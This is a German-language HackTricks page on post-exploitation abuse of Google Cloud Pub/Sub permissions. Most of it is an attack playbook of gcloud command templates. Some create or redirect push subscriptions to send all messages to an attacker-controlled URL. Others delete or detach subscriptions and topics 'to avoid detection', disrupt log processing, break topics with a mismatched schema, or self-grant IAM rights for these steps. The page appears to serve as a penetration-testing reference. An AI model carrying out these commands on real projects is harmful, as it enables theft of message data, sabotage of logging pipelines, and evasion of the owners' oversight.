GCP - Pub/Sub Post Exploitation

Support HackTricks

Pub/Sub

Für weitere Informationen über Pub/Sub besuche die folgende Seite:

pubsub.topics.publish

Veröffentliche eine Nachricht in einem Thema, nützlich, um unerwartete Daten zu senden und unerwartete Funktionen auszulösen oder Schwachstellen auszunutzen:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um eine Entdeckung zu vermeiden.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um eine Entdeckung zu vermeiden. Es ist möglich, ein Thema zu löschen, selbst wenn Abonnements daran angehängt sind.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Verwenden Sie diese Berechtigung, um einige Einstellungen des Themas zu aktualisieren, um es zu stören, wie --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Geben Sie sich die Berechtigung, um einen der vorherigen Angriffe durchzuführen.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Holen Sie sich alle Nachrichten auf einem Webserver:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Erstellen Sie ein Abonnement und verwenden Sie es, um Nachrichten abzurufen:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Das Löschen eines Abonnements könnte nützlich sein, um ein Protokollverarbeitungssystem oder etwas Ähnliches zu stören:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Verwenden Sie diese Berechtigung, um einige Einstellungen zu aktualisieren, damit Nachrichten an einem Ort gespeichert werden, auf den Sie zugreifen können (URL, Big Query-Tabelle, Bucket) oder um dies einfach zu stören.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Geben Sie sich die Berechtigungen, die erforderlich sind, um eine der zuvor kommentierten Angriffe durchzuführen.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Greifen Sie auf ein Schema zu einem Thema zu, sodass die Nachrichten es nicht erfüllen und das Thema daher gestört wird. Wenn es keine Schemas gibt, müssen Sie möglicherweise eines erstellen.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Das mag so aussehen, als würde das Löschen eines Schemas es Ihnen ermöglichen, Nachrichten zu senden, die nicht mit dem Schema übereinstimmen. Da das Schema jedoch gelöscht wird, wird keine Nachricht tatsächlich in das Thema eingehen. Das ist also NUTZLOS:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Geben Sie sich die Berechtigungen, die erforderlich sind, um eine der zuvor kommentierten Angriffe durchzuführen.

pubsub.snapshots.create, pubsub.snapshots.seek

Dies wird einen Snapshot aller unACKed Nachrichten erstellen und sie wieder in das Abonnement zurücklegen. Für einen Angreifer nicht sehr nützlich, aber hier ist es:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Unterstütze HackTricks

Last updated